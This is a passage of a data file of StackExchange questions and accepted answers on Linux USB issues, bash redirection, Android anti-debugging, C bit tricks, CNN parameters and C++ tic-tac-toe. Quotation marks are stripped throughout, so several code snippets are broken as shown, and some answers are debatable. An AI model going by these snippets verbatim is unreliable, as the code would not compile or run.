xhci_hcd[16858.513896] usb 3-2: New USB device found, idVendor=046d, idProduct=c52b[16858.513905] usb 3-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0[16858.513910] usb 3-2: Product: USB Receiver[16858.519636] logitech-djreceiver 0003:046D:C52B.0020: hiddev0,hidraw0: USB HID v1.11 Device [Logitech USB Receiver] on usb-0000:00:14.0-2/input2[16858.529910] logitech-djdevice 0003:046D:C52B.0021: input,hidraw1: USB HID v1.11 Keyboard [Logitech Unifying Device. Wireless PID:4003] on usb-0000:00:14.0-2:2[16863.584386] usb 3-2: USB disconnect, device number 8[16874.084629] usb 1-1.2: new full-speed USB device number 35 using ehci-pci[16874.373177] usb 1-1.2: new full-speed USB device number 36 using ehci-pci[16874.657421] usb 1-1.2: new full-speed USB device number 37 using ehci-pci[16874.873550] usb 1-1.2: new full-speed USB device number 38 using ehci-pci[16875.029590] hub 1-1:1.0: unable to enumerate USB device on port 2[16881.873228] usb 3-2: new full-speed USB device number 9 using xhci_hcd[16881.891818] usb 3-2: New USB device found, idVendor=046d, idProduct=c52b[16881.891828] usb 3-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0[16881.891833] usb 3-2: Product: USB Receiver[16881.897882] logitech-djreceiver 0003:046D:C52B.0024: hiddev0,hidraw0: USB HID v1.11 Device [Logitech USB Receiver] on usb-0000:00:14.0-2/input2[16881.903672] logitech-djdevice 0003:046D:C52B.0025: input,hidraw1: USB HID v1.11 Keyboard [Logitech Unifying Device. Wireless PID:4003] on usb-0000:00:14.0-2:2[17131.199699] usb 3-2: USB disconnect, device number 9[17136.516909] usb 1-1.2: new full-speed USB device number 39 using ehci-pci[17136.807238] usb 1-1.2: New USB device found, idVendor=046d, idProduct=c52b[17136.807242] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0[17137.221868] logitech-djreceiver 0003:046D:C52B.0027: hiddev0,hidraw0: USB HID v1.11 Device [Logitech] on usb-0000:00:1a.0-1.2/input2dmesg after replug device:[18116.850679] usb 1-1.2: USB disconnect, device number 39[18116.852812] logitech-djreceiver 0003:046D:C52B.0027: can't reset device, 0000:00:1a.0-1.2/input2, status -32[18117.818878] usb 1-1.2: new full-speed USB device number 40 using ehci-pci[18118.128109] usb 1-1.2: New USB device found, idVendor=046d, idProduct=c52b[18118.128114] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0[18118.128117] usb 1-1.2: Product: USB Receiver[18118.128118] usb 1-1.2: Manufacturer: Logitech[18118.245108] usbhid 1-1.2:1.0: can't add hid device: -71[18118.245136] usbhid: probe of 1-1.2:1.0 failed with error -71[18118.468629] logitech-djreceiver 0003:046D:C52B.0029: hiddev0,hidraw0: USB HID v1.11 Device [Logitech USB Receiver] on usb-0000:00:1a.0-1.2/input2"  , "title": "USB 3.0 works always, USB 2.0 works sometimes"  , "tags": "linux mint;usb"  } 
{  "id": "_webapps.42347"  , "question": "I recently got an app request from a friend on facebook. I don't use that app, or any app for that matter, and I wanted to delete it. This not being my first time, I hit the small x button next to it, expecting it to disappear, but it didn't. Confused, I pressed it again, but once again, it didn't disappear. I then went to the app center and tried to disable the request from there, but it didn't say that I had received an app recently. I, then, went and unfriended the person who sent me the request, hoping that the app itself would disappear. I checked, and it didn't. I went into my Account Settings on my facebook, went to Notifications, went to Apps and disabled all apps. I checked, and the persistent notification was still there. I believe the information that I've given to you so far has demonstrated how difficult it is to delete this app, and how badly I want it gone. If ANYONE has ANY idea about how to make this request disappear, I'll probably love you forever. Thanks!"  , "title": "Deleting Facebook App Requests"  , "tags": "facebook"  } 
{  "id": "_unix.107827"  , "question": "I want to disable the menu in Linux-Mint which is showing when you press ALT+1. I can't even capture the screen when the menu is showing so I've attached a photo. I tried everything and I didn't find the answer how to disable it. Any sugestions?EDIT:The solution posted below by @tohuwawohu works perfect on Linux Mint 15 and 16, but doesn't work on my computer with Mint 13 (Maya). I'm still looking for a way to disable the menu."  , "title": "How to disable menu under ALT+1 binding in Linux-Mint"  , "tags": "linux mint;keyboard shortcuts"  , "accepted_answer": "Open exactly that menu -> System -> Preferences -> Keyboard Shortcuts -> Desktop -> Show the panel's main menu and use backspace to delete the shortcut (or assign any other shortcut)."  } 
{  "id": "_webmaster.10280"  , "question": "I've got a site that includes a blog amongst other things. I'm adding the  tag for autodiscovery of the RSS feed. There's only one feed on the site. Should  live on every page (i.e. I put it in the base template)?Or should it just live on the blog index page and/or individual blog post pages?"  , "title": "RSS feed  on which pages?"  , "tags": "rss;feeds"  , "accepted_answer": "Put it on every page. Your goal is to get people to subscribe to your feed and you want to take advantage of every opportunity to get them to do so. Since all that tag does (in the major browsers) is put the RSS icon in the address bar it's hardly intrusive. So put it in the <head> of every page and maximize the chances of someone subscribing."  } 
{  "id": "_softwareengineering.93770"  , "question": "When developing software, I often have a centralised 'core' library containing handy code that can be shared and referenced by different projects.Examples:a set of functions to manipulate stringscommonly used regular expressionscommon deployment codeHowever some of my colleagues seem to be turning away from this approach. They have concerns such as the maintenance overhead of retesting code used by many projects once a bug is fixed. Now I'm reconsidering when I should be doing this.What are the issues that make using a 'core' library a bad idea?"  , "title": "When is a 'core' library a bad idea?"  , "tags": "code reuse;libraries"  } 
{  "id": "_softwareengineering.179389"  , "question": "Okay, say I have a point coordinate.var coordinate = { x: 10, y: 20 };Now I also have a distance and an angle.var distance = 20;var angle = 72;The problem I am trying to solve is, if I want to travel 20 points in the direction of angle from the starting coordinate, how can I find what my new coordinates will be?I know the answer involves things like sine/cosine, because I used to know how to do this, but I have since forgotten the formula. Can anyone help?"  , "title": "Find the new coordinates using a starting point, a distance, and an angle"  , "tags": "javascript;math;geometry"  , "accepted_answer": "SOHCAHTOASine = Opposite/HypotenuseCosine = Adjacent/HypotenuseTangent = Opposite/AdjacentIn your example:Sine(72) = Y/20 -> Y = Sine(72) * 20Cosine(72) = X/20 -> X = Cosine(72) *20The problem is you have to be careful with what quadrant you are in. This works perfectly in the upper right quadrant, but not so nice in the other three quadrants."  } 
{  "id": "_cs.29851"  , "question": "Suppose I want to build an operating system based on a very small native lower kernel that acts as a managed code interpreter/runtime and a larger upper kernel compiled to a non-native machine language (Java bytecode, CIL, etc.). Examples of similar operating systems would be Singularity and Cosmos.What pitfalls and development challenges exist writing an OS with this sort of infrastructure in contrast to a purely-native solution?"  , "title": "What are potential pitfalls with having a minimal kernel that runs managed code?"  , "tags": "operating systems;type checking;interpreters;os kernel"  , "accepted_answer": "Depending on the language, there can be many development challenges:Pointers: If a language doesn't have pointers, it will be a challenge to do relatively-easy tasks. For example, you can use pointers to write to VGA memory for printing to the screen. However, in a managed language, you will need some kind of plug (from C/C++) to do the same.Assembly: An OS always needs some assembly. Languages like C#, Java, etc. don't work so well with it, unlike C/C++. In C or C++ you can also have inline assembly which is very, very useful for many tasks. There are MANY cases where this is needed (examples in x86): loading a GDT, loading an IDT, enabling paging, setting up IRQs, etc. Control: If you are using something like Cosmos, you aren't having full control. Cosmos is a micro-kernel and essentially bootstraps your kernel. You can implement something like Cosmos from scratch if you really wanted to, however, that can take a long, long time.Overhead: With managed languages, there is A LOT of overhead compared to C or even C++. Things like Cosmos need to implement a lot of things before even a C# hello world kernel can be run. In C, you are ready to go, no real setup needed. In C++, there are just a few things that need to be implemented to use some of C++'s features. Structures: In C/C++ there are structs which many managed languages do not have, and so, you would need to implement some way of having something like a struct. For example, if you want to load a IDT (Interrupt Descriptor Table), in C/C++, you can create a struct (with a packed attribute), and load it using the x86 ASM instruction lidt. In a managed language, this is much harder to do...Managed languages, syntax-wise, are easier, however, for many OS related things are many times not very-well suited. That doesn't mean they can't be used, however, something like C/C++ are often recommended."  } 
{  "id": "_unix.40937"  , "question": "I have old system with an AMD Athlon 1,2 GHz processor and [SiS] 65x/M650/740 graphics (output from lspci). Recently I discovered on a german ubuntu page that since version 10.10 some older processors are not longer supported, since ubuntu version 12.04 there are further restrictions. I guess this is completely related to the used kernel version. This leads me to the following questions:How can I find out which kernel versions support the processor and graphics card mentioned above? Which versions provide optimal support (concerning performance and stability)?When updating a system (for example between two ubuntu versions or more interesting, when running a rolling release like debian testing or archlinux), there seems to be the danger of loosing (optimal) hardware support when the kernel version is updated. Do I have to check the hardware support manually before each update or is it checked automatically in the three distros mentioned above (ubuntu, debian testing, archlinux)? "  , "title": "Choose kernel for specific hardware"  , "tags": "kernel;distribution choice;hardware;distros;drivers"  } 
{  "id": "_unix.242602"  , "question": "I wonder if it is allowed and by this possible that duplicate labels within a *.dts device tree file appear and if so what happens then?Does a new label allow to overwrite/redefine the old label, for instance?To make the question more transparent and clearer I would like to state the question what happens to this example dts data./dts-v1/;/ {    #address-cells = <1>;    #size-cells = <1>;    chosen {         labelname: bootargs = lalalallal;        labelname: bootargs2 = lalalallal;    };    aliases { };    memory { device_type = memory; reg = <0 0>; };};in which the we have a duplicate use of the label labelname.The motivation to this question was the inability to find a clear and crisp documentation on the dts syntax telling that labels need to be unique"  , "title": "In Linux device tree syntax, what happens when duplicate labels appear?"  , "tags": "device tree"  } 
{  "id": "_unix.94224"  , "question": "I want to handle filenames as arguments in a bash script in a cleaner, more flexible way, taking 0, 1, or 2 arguments for input and output filenames.when args = 0, read from stdin, write to stdoutwhen args = 1, read from $1, write to stdoutwhen args = 2, read from $1, write to $2How can I make the bash script version cleaner, shorter?Here is what I have now, which works, but is not clean,#!/bin/bashif [ $# -eq 0 ] ; then #echo args 0    fgrep -v stuffelif [ $# -eq 1 ] ; then #echo args 1    f1=${1:-null}    if [ ! -f $f1 ]; then echo file $f1 dne; exit 1; fi    fgrep -v stuff $f1 elif [ $# -eq 2 ]; then #echo args 2    f1=${1:-null}    if [ ! -f $f1 ]; then echo file $f1 dne; exit 1; fi    f2=${2:-null}    fgrep -v stuff $f1 > $f2fiThe perl version is cleaner,#!/bin/env perluse strict; use warnings;my $f1=$ARGV[0]||-;my $f2=$ARGV[1]||-;my ($fh, $ofh);open($fh,<$f1) or die file $f1 failed;open($ofh,>$f2) or die file $f2 failed;while(<$fh>) { if( !($_ =~ /stuff/) ) { print $ofh $_; } }"  , "title": "How to use filename arguments or default to stdin, stdout (brief)"  , "tags": "bash;stdout;stdin;arguments"  , "accepted_answer": "I'd make heavier use of I/O redirection:#!/bin/bash[[ $1 ]] && [[ ! -f $1 ]] && echo file $1 dne && exit 1[[ $1 ]] && exec 3<$1 || exec 3<&0[[ $2 ]] && exec 4>$2 || exec 4>&1fgrep -v stuff <&3 >&4Explanation[[ $1 ]] && [[ ! -f $1 ]] && echo file $1 dne && exit 1Test if an input file has been specified as a command line argument and if  the file exists. [[ $1 ]] && exec 3<$1 || exec 3<&0If $1 is set, i.e. an input file has been specified, the specified file is opened at file descriptor 3, otherwise stdin is duplicated at file descriptor 3. [[ $2 ]] && exec 4>$2 || exec 4>&1Similarly if the $2 is set, i.e. an output file has been specified, the specified file is opened at file descriptor 4, otherwise stdout is duplicated at file descriptor 4.fgrep -v stuff <&3 >&4Lastly fgrep is invoked, redirecting its stdin and stdout to the previously set file descriptors 3 and 4 respectively.Reopening standard input and outputIf you'd prefer not to open intermediate file descriptors, an alternative is to replace the file descriptors corresponding to stdin and stdout directly with the specified input and output files:#!/bin/bash[[ $1 ]] && [[ ! -f $1 ]] && echo file $1 dne && exit 1[[ $1 ]] && exec 0<$1[[ $2 ]] && exec 1>$2fgrep -v stuffA drawback with this approach is that you loose the ability to differentiate output from the script itself from the output of the command which is the target for the redirection. In the original approach, you can direct script output to the unmodified stdin and stdout, which in turn might have been redirected by the caller of the script. The specified input and output files could still be accessed via the corresponding file descriptors, which are distinct from the script stdin and stdout."  } 
{  "id": "_reverseengineering.12944"  , "question": "I am trying to ptrace_attach the main process and its threads (/proc/<pid>/task) of an android unity app to avoid malicious users debugging the app(which is a game). I developed a ndk library that forks from main process and ptrace_attach the parent process(being the main process) inside the JNI_OnLoad() function. After that periodically checks the /proc/<pid>/task folder to attach newly created threads. The problem is, this works well in normal apps but when I try to run this inside an app made with unity, the main process stops and screen becomes black or white not responding. But if you delay attaching a few seconds just enough to see the animation working on the screen, attaching works fine.Code is roughly something like this:if(!fork()){     parentPid = getppid();     // attach parent process     if(ptrace(PTRACE_ATTACH,parentPid,0,0)<0)          exit(-1);     ptrace(PTRACE_SETOPTIONS, parentPid, 0, PTRACE_O_TRACEEXEC| PTRACE_O_TRACEVFORKDONE|PTRACE_O_TRACESYSGOOD |PTRACE_O_TRACEFORK |PTRACE_O_TRACEVFORK |PTRACE_O_TRACECLONE );     while(true)     {          // get signal from processes          stoppedPid = waitpid(-1,&stat_loc, 0);          ...          // check if stoppedPid need to be attached          // if so, attach          ptrace(PTRACE_ATTACH,stoppedPid,0,0);          ...          // else, just continue the stopped process          ptrace(PTRACE_CONT,stoppedPid,0,0);     } }Maybe I should adjust the ptrace_setoptions ?Thanks in advance :)"  , "title": "Has anyone tried ptrace_attaching android unity apps for anti debugging?"  , "tags": "android;anti debugging"  , "accepted_answer": "Well somethings I found out - When I ptrace_attach the main process of the target app and wait for signals, I get SIGSEGV signal while app loads and just hangs there(because forked process cannot handle SIGSEGV). In the java code, it seems SIGSEGV occurs while calling View related functions. I guess UnityPlayer or Android app loader handles SIGSEGV smoothly while app loading time. Therefore, if you get a SIGSEGV, simply detaching it and attaching again does not hang the app. "  } 
{  "id": "_unix.97751"  , "question": "I have a Raspberry Pi that's running a Raspbmc distribution and I've noticed that a lot of the directories are either owned by the user 501 and the group dialout or both the user and group root. It's frustrating for me to move files from the main filesystem on the SD card to the external drive because I always need root access (and it makes automating tasks a pain too), so I'd really like to be able to chown it to the user pi. I've read up a little bit on what the 501 user and the dialout group are and don't see why I shouldn't do this, but my knowledge of Unix permissions is basic at best so I'd like to know if I've missed any considerations before I go ahead and change the permissions recursively on the entire drive. So my question would be: Is there any harm in doing a chown -R pi on the external drive? "  , "title": "What are the ramifications of recursively chown'ing the directories on an external drive that currently has 501:dialout or root:root permissions?"  , "tags": "permissions;raspberry pi"  , "accepted_answer": "If you create a common user between the systems where this disk is moving you can then make the ownership on this disk that single user and you'll no longer have to deal with this.Simply add a user on both systems, and make sure that this user's UID (user ID) and GID (group ID) are the same numbers on both systems. The names are immaterial, it's the numbers that need to be kept in sync, so that the UID/GID is recognized across both systems as a single user/group.When creating a user these are the parts that drive the recognition by the system which user/group owns files.ExampleSay I have this directory, it's user/group is saml & saml.$ ls -ld .drwx------. 245 saml saml 32768 Oct 26 22:41 .Using the -n switch to ls you can see what the numbers are for these fields.$ ls -ldn .drwx------. 245 500 501 32768 Oct 26 22:41 .So we need to make sure that I have the same user/group on both systems (saml/saml) and the UID/GID needs to be 500/501 as well.If you look in the /etc/group file you'll see the group saml + GID.$ grep ^saml /etc/groupsaml:x:501:Looking in /etc/passwd file you'll see the user saml + UID.$ grep ^saml /etc/passwdsaml:x:500:501:Sam M. (local):/home/saml:/bin/bashWhen running the useradd command you can control what UID/GID to use.$ sudo useradd -u 500 -g 501 saml"  } 
{  "id": "_codereview.115869"  , "question": "So this a exercise from the book COMPUTERS SYSTEMS A PROGRAMMERS PERSPECTIVE  I need to add two signed numbers and in case it overflows or underflows return TMAX (011..1b) or TMIN (100..0b) respectively. In this case we can assumed two's complement representation.  The book imposes a set of rules that the solution must follow : Forbidden:Conditionals, loops, function calls and macros.Division, modulus and multiplication. Relative comparison operators (<, >, <= and >=).Allowed operations:All bit level and logic operations.Left and right shifts, but only with shift amounts between 0 and w - 1Addition and subtraction. Equality (==) and inequality (!=) tests. Casting between int and unsigned.My codeint saturating_add(int x , int y) {     int sum = x + y;    int w = (sizeof(int) << 3) -1;    int mask = (~(x ^ y) & (y ^ sum) & (x ^ sum)) >> w;    int max_min = (1 << w) ^ (sum >> w);    return  (~mask & sum) + (mask & max_min);}Compiled code in my machineNote: I used the following command -> gcc -O2 -S sat_add.c.leal    (%rdi,%rsi), %edx    movl    %edx, %eax    movl    %edx, %ecx    xorl    %esi, %eax    xorl    %edi, %esi    xorl    %edx, %edi    notl    %esi    sarl    $31, %ecx    andl    %esi, %eax    addl    $-2147483648, %ecx    andl    %edi, %eax    sarl    $31, %eax    movl    %eax, %esi    andl    %ecx, %eax    notl    %esi    andl    %edx, %esi    leal    (%rsi,%rax), %eax    retSo I want to know if there is a better solution in terms of elegance and performance. Also if there is a solution that compiles to a single instruction in x86_64 (Maybe PADDS although this instruction may not be the one I am looking for). Also any other kind of feedback is welcome. "  , "title": "Saturated signed addition"  , "tags": "performance;c;bitwise"  , "accepted_answer": "Undefined behavior from signed overflowTechnically, your first line causes undefined behavior:int sum = x + y;It should be written instead as:int sum = (unsigned int) x + y;In C, signed integer overflow is undefined behavior but unsigned integer overflow is not.  Your compiler probably will treat the two lines above identically, but to be safe you should use the unsigned add.Save a couple of instructionsThis line here could be optimized:int mask = (~(x ^ y) & (y ^ sum) & (x ^ sum)) >> w;to this:int mask = (~(x ^ y) & (x ^ sum)) >> w;If x and y have the same sign, then you only need to check one of them against sum instead of both of them.  This saves 2 assembly instructions when you compile it."  } 
{  "id": "_unix.305371"  , "question": "I am using open connect to create a split VPN connection. It works great... the first time. If the openconnect process dies, subsequent tries appear to succeed, but leave me unable to actually access anything behind the VPN. Rebooting temporarily allows openconnect to work once again, but I'd like to be able to turn the VPN on and off without having to reboot every time.I think the problem is related to improper closing/clean up of the VPN connection, but this is out of my depth and I have no idea what I'm doing. What is going on and how to fix it or set up a system that allows me to start and stop my VPN connection multiple times without rebooting. route produces the same output both when the VPN is working and when it isn't.Here is the script I use to connect:sudo openvpn --mktun --dev tun1 && \\sudo ifconfig tun1 up && \\sudo /usr/sbin/openconnect -s $VPNSCRIPT $VPNURL --user=$VPNUSER --authgroup=$VPNGRP --interface=tun1sudo ifconfig tun1 downopenvpn --rmtun --dev tun1where $VPNSCRIPT is a wrapper around the default vpnc-script to set up the environment for split VPN: #!/bin/sh# Add one IP to the list of split tunneladd_ip (){    export CISCO_SPLIT_INC_${CISCO_SPLIT_INC}_ADDR=$1    export CISCO_SPLIT_INC_${CISCO_SPLIT_INC}_MASK=255.255.255.255    export CISCO_SPLIT_INC_${CISCO_SPLIT_INC}_MASKLEN=32    export CISCO_SPLIT_INC=$(($CISCO_SPLIT_INC + 1))}# Initialize empty split tunnel listexport CISCO_SPLIT_INC=0# Delete DNS info provided by VPN server to use internet DNS# Comment following line to use DNS beyond VPN tunnelunset INTERNAL_IP4_DNS# List of IPs beyond VPN tunneladd_ip --REDACTED--# Execute default script. /usr/share/vpnc-scripts/vpnc-script # End of scriptThis is all happening on a Ubuntu 14.04 VPSresults of route -nNo connection attempt:Destination     Gateway         Genmask         Flags Metric Ref    Use Iface0.0.0.0         0.0.0.0         0.0.0.0         U     0      0        0 venet0Connected and workingDestination     Gateway         Genmask         Flags Metric Ref    Use Iface<HostA>         0.0.0.0         255.255.255.255 UH    0      0        0 tun1<VPN>           0.0.0.0         255.255.255.255 UH    0      0        0 venet0<HostB>         0.0.0.0         255.255.255.255 UH    0      0        0 tun1<VPN DHCP>      0.0.0.0         255.255.254.0   U     0      0        0 tun10.0.0.0         0.0.0.0         0.0.0.0         U     0      0        0 venet0Supposedly connected, but not workingDestination     Gateway         Genmask         Flags Metric Ref    Use Iface<HostA>         0.0.0.0         255.255.255.255 UH    0      0        0 tun1<VPN>           0.0.0.0         255.255.255.255 UH    0      0        0 venet0<HostB>         0.0.0.0         255.255.255.255 UH    0      0        0 tun1<VPN DHCP>      0.0.0.0         255.255.254.0   U     0      0        0 tun10.0.0.0         0.0.0.0         0.0.0.0         U     0      0        0 venet0where Host* is an entry in the split VPN config."  , "title": "OpenConnect only works once"  , "tags": "openvpn;vpn;openconnect"  } 
{  "id": "_webapps.102260"  , "question": "So I'm working on my website and I wanted to create a list of recently uploaded videos on my channel. I can do it manually but I wanted to know if there was a way to automate it, maybe a script or something. I tried looking up the YouTube API but I can't find something similar."  , "title": "Is it possible to list a YouTube Channel's uploaded videos?"  , "tags": "youtube;youtube channel"  } 
{  "id": "_datascience.6076"  , "question": "I am thinking of preprocessing techniques for the input data to a convolutional neural network (CNN) using sparse datasets and trained with SGD. In Andrew Ng's coursera course, Machine Learning, he states that it is important to preprocess the data so it fits into the interval $ \\left[ 3, 3 \\right] $ when using SGD. However, the most common preprocessing technique is to standardize each feature so $ \\mu = 0 $ and $ \\sigma = 1 $. When standardizing a highly sparse dataset many of the values will not end up in the interval.I am therefore curious - would it be better to aim for e.g. $ \\mu = 0 $ and $ \\sigma = 0.5 $ in order for the values be closer to the interval $ \\left[ 3, 3 \\right] $? Could anyone argue based on a knowledge of SGD on whether it is most important to aim for $ \\mu = 0 $ and $ \\sigma = 1 $ or $ \\left[ 3, 3 \\right] $?"  , "title": "Most important part of feature standardization and how is standardization affected by sparsity?"  , "tags": "machine learning;feature scaling"  , "accepted_answer": "No, you are misinterpreting his comments.  If you have data that has some outliers in it then the outliers will extend beyond 3 standard deviations.  Then if you standardize the data some will extend beyond the [-3,3] region.  He is simply saying that you need to remove your outliers so the outliers don't reap havoc on your stochastic gradient descent algorithm. He is NOT saying that you need to use some weird scaling algorithm.You should standardize your data by subtracting the mean and dividing by the standard deviation, and then remove any points that extend beyond [-3,3], which are the outliers.In stochastic gradient descent, the presence of outliers could increase the instability of the minimization and make it thrash around excessively, so its best to remove them.  If the sparseness of the data prevents removal then... Do you need to use stochastic gradient descent, or can you just use gradient descent?  Gradient descent (GD) might help to alleviate some of the problems relating to convergence.  Finally, if GD is having trouble converging, you could always do an direct solve (e.g. direct matrix inversion) rather than an iterative solve.Hope this helps!"  } 
{  "id": "_datascience.11853"  , "question": "I am trying to figure out how many weights and biases are needed for CNN.Say I have a (3, 32, 32)-image and want to apply a (32, 5, 5)-filter.For each feature map I have 5x5 weights, so I should have 3 x (5x5) x 32 parameters. Now I need to add the bias. I believe I only have (3 x (5x5) + 1) x 32 parameters, so is the bias the same across all colors (RGB)? Is this correct? Do I keep the same bias for each image across its depth (in this case 3) while I use different weights? Why is that?"  , "title": "Question about bias in Convolutional Networks"  , "tags": "deep learning;convnet;backpropagation"  , "accepted_answer": "Bias operates per virtual neuron, so there is no value in having multiple bias inputs where there is a single output - that would equivalent to just adding up the different bias weights into a single bias.In the feature maps that are the output of the first hidden layer, the colours are no longer kept separate*. Effectively each feature map is a channel in the next layer, although they are usually visualised separately where the input is visualised with channels combined. Another way of thinking about this is that the separate RGB channels in the original image are 3 feature maps in the input.It doesn't matter how many channels or features are in a previous layer, the output to each feature map in the next layer is a single value in that map. One output value corresponds to a single virtual neuron, needing one bias weight.In a CNN, as you explain in the question, the same weights (including bias weight) are shared at each point in the output feature map. So each feature map has its own bias weight as well as previous_layer_num_features x kernel_width x kernel_height connection weights.So yes, your example resulting in (3 x (5x5) + 1) x 32 weights total for the first layer is correct for a CNN with first hidden layer processing RGB input into 32 separate feature maps.* You may be getting confused by seeing visualisation of CNN weights which can be separated into the colour channels that they operate on."  } 
{  "id": "_unix.116480"  , "question": "To put it simply, I'm trying to use my computer as an alarm clock. It's slightly old and noisy, so I'd like it to start from power off at a scheduled time and then execute a command, such as playing an MP3 file. I'm running Linux Mint Nadia. How would I go about this?"  , "title": "Starting Linux from power off at predetermined time (and executing command)?"  , "tags": "linux mint;hardware;scheduling"  } 
{  "id": "_codereview.70933"  , "question": "Previous question:Tic-Tac-Toe in C++11 - follow-upIs there any way to improve this code?#include <iostream>#include <cctype>#include <algorithm>#include <functional>#include <array>enum struct Player : char{    none    = '-',    first   = 'X',    second  = 'O'};std::ostream& operator<<(std::ostream& os, Player p){    return os << static_cast<char>(p);}enum struct Type : int{    row = 0,    column = 1,    diagonal = 2};enum struct Lines : int{    first   = 0,    second  = 1,    third   = 2};class TicTacToe{public:    TicTacToe();     bool isFull() const;    void draw() const;    void turn(Player player);    bool check(Player player) const;private:    bool applyMove(Player player, int position);    static const std::size_t mDim = 3;    std::array<Player, mDim * mDim> mGrid;};// utility functor to compute matching conditiontemplate<int dim>struct Match {    Match(Type t, Lines i) : mCategory(t), mNumber(i){}    bool operator() (int number) const    {        switch (mCategory)        {        case Type::row:            return (std::abs(number / dim) == static_cast<int>(mNumber));        case Type::column:            return (number % dim == static_cast<int>(mNumber));        case Type::diagonal:            if (mNumber == Lines::first)                return ((std::abs(number / dim) - number % dim) == static_cast<int>(mNumber));            else                return ((std::abs(number / dim) + number % dim) == static_cast<int>(mNumber));        }        return false;     }    Type mCategory;    Lines mNumber;};TicTacToe::TicTacToe() {     mGrid.fill(Player::none);}bool TicTacToe::applyMove(Player player, int position){    if (mGrid[position] != Player::none)        return false;    mGrid[position] = player;    return true;}bool TicTacToe::isFull() const{    return 0 == std::count_if(mGrid.begin(), mGrid.end(),        [](Player i)    {        return i == Player::none;    });}bool TicTacToe::check(Player player) const{    // check for row or column wins    std::array<bool, 8> win;    win.fill(true);    int j = 0;    // checking condition loop    std::for_each(mGrid.begin(), mGrid.end(),        [&](Player i)    {        int x = j++;        // columns        if (Match<mDim>(Type::column, Lines::first)(x))            win[0] &= i == player;;        if (Match<mDim>(Type::column, Lines::second)(x))            win[1] &= i == player;        if (Match<mDim>(Type::column, Lines::third)(x))             win[2] &= i == player;        // rows        if (Match<mDim>(Type::row, Lines::first)(x))            win[3] &= i == player;        if (Match<mDim>(Type::row, Lines::second)(x))            win[4] &= i == player;        if (Match<mDim>(Type::row, Lines::third)(x))            win[5] &= i == player;        // diagonals        if (Match<mDim>(Type::diagonal, Lines::first)(x))            win[6] &= i == player;        if (Match<mDim>(Type::diagonal, Lines::third)(x))            win[7] &= i == player;    });    for (auto i : win)    {        if (i)            return true;    }    return false;}void TicTacToe::draw() const{    //Creating a onscreen grid    std::cout << ' ';    for (auto i = 1; i <= mDim; ++i)        std::cout <<    << i;    int j = 0;    char A = 'A';    for (auto i : mGrid)    {        if (Match<mDim>(Type::column, Lines::first)(j++))            std::cout << \\n  << A++;        std::cout << ' ' << i << ' ';    }    std::cout << \\n\\n;}void TicTacToe::turn(Player player){    char row = 0;    char column = 0;    std::size_t position = 0;    bool applied = false;    std::cout << \\n << player << : Please play. \\n;    while (!applied)    {        std::cout << Row(1,2,3,...): ;        std::cin >> row;        std::cout << player << : Column(A,B,C,...): ;        std::cin >> column;        position = mDim * (std::toupper(column) - 'A') + (row - '1');        if (position < mGrid.size())        {            applied = applyMove(player, position);            if (!applied)                std::cout << Already Used. Try Again. \\n;        }        else        {            std::cout << Invalid position.  Try again.\\n;        }    }    std::cout << \\n\\n;}class Game{public:    Game() = default;    void run();private:    TicTacToe mTicTacToe;    std::array<Player, 2> mPlayers{ { Player::first, Player::second } };    int mPlayer = 1;    void resultScreen(bool winner);    std::function<void()>       display = std::bind(&TicTacToe::draw, &mTicTacToe);    std::function<void(Player)> turn    = std::bind(&TicTacToe::turn, &mTicTacToe, std::placeholders::_1);    std::function<bool(Player)> win     = std::bind(&TicTacToe::check, &mTicTacToe, std::placeholders::_1);    std::function<bool()>       full    = std::bind(&TicTacToe::isFull, &mTicTacToe);};void Game::run(){    while (!win(mPlayers[mPlayer]) && !full())    {        mPlayer ^= 1;        display();        turn(mPlayers[mPlayer]);    }    resultScreen(win(mPlayers[mPlayer]));}void Game::resultScreen(bool winner){    display();    if (winner)    {        std::cout << \\n << mPlayers[mPlayer] <<  is the Winner!\\n;    }    else    {        std::cout << \\nTie game!\\n;    }}int main(){    Game game;    game.run();}"  , "title": "Tic-Tac-Toe in C++11 - follow-up 2"  , "tags": "c++;game;c++11;tic tac toe"  , "accepted_answer": "Here are some things that may allow you to improve your code:Separate responsibilitiesThe Model-View-Controller design pattern is often useful for programs like this.  Because the view in this case is essentially just printing the board to std::cout, we can simplify a bit and just have a model, the TicTacToe class, and a controller, the Game class.  Here's what the TicTacToe class looks like:class TicTacToe{public:    TicTacToe() = delete;    TicTacToe(const TicTacToe &t) = delete;    TicTacToe(const TicTacToe &&t) = delete;    TicTacToe(char ch, std::size_t dim)         : mDim(dim), emptychar(ch), remaining(mDim*mDim), grid(remaining, emptychar)     { }    bool isNotFull() const { return remaining; }    bool isWinner(char player) const;    bool applyMove(char player, unsigned row, unsigned column);    friend std::ostream &operator<<(std::ostream &out, const TicTacToe &t) {        out << ' ';        for (std::size_t i = 1; i <= t.mDim; ++i)            out <<    << i;        std::size_t j = 0;        char A = 'A';        for (auto& i : t.grid)        {            if (j == 0) {                out << \\n  << A++;                j = mDim;            }            --j;            out << ' ' << i << ' ';        }        return out << \\n\\n;    }private:    const std::size_t mDim;    const char emptychar;    unsigned remaining;    std::vector<char> grid;};There are some differences in this class compared to yours, so I'll point out the salient features.Delete automatic functions which are not wantedThe way I've defined the TicTacToe class requires values to be passed to the constructor. For that reason, I've deleted the default constructor, the copy constructor and the move constructor.  This prevents the class from being misused and alerts the user of the class that some things are not supported.Isolate the internal representation from the interfaceThe game is played on a square grid and not a linear array (even though that may be the internal representation), so the applyMove function in the revised version takes row and column arguments rather than a linear position value.Allow for dynamic sizingThe dimension of the board in the revised version of the TicTacToe class is a const value that is initialized with a value passed to the constructor.  This allows for more than one size game to be played without recompiling.  Also, this required changing from a std::array to a std::vector.Allow for any character representationsThis version does not specify the representations for an empty square, or any of the player tokens.  In particular, the emptychar member function is initialized by the constructor. Perhaps more interesting is the fact that this class allows for more than two players.  This can be seen most easily in the applyMove member function:// Returns `false` if requested move was applied, otherwise truebool TicTacToe::applyMove(char player, unsigned row, unsigned column){    unsigned position = row + mDim * column;   if ((position > grid.size()) || (grid[position] != emptychar))        return true;    grid[position] = player;    --remaining;    return false;}Define logical functions in a way that makes them most usefulIf we look at the original isFull routine, it was always being used as !isFull() so it seems that what's actualy more useful is a method to check if the grid is not full.  For this reason, the function is now isNotFull() in the redefined version.Avoid inefficient algorithmsThe original isFull routine counts empty squares each time it is called, but a more efficient (and 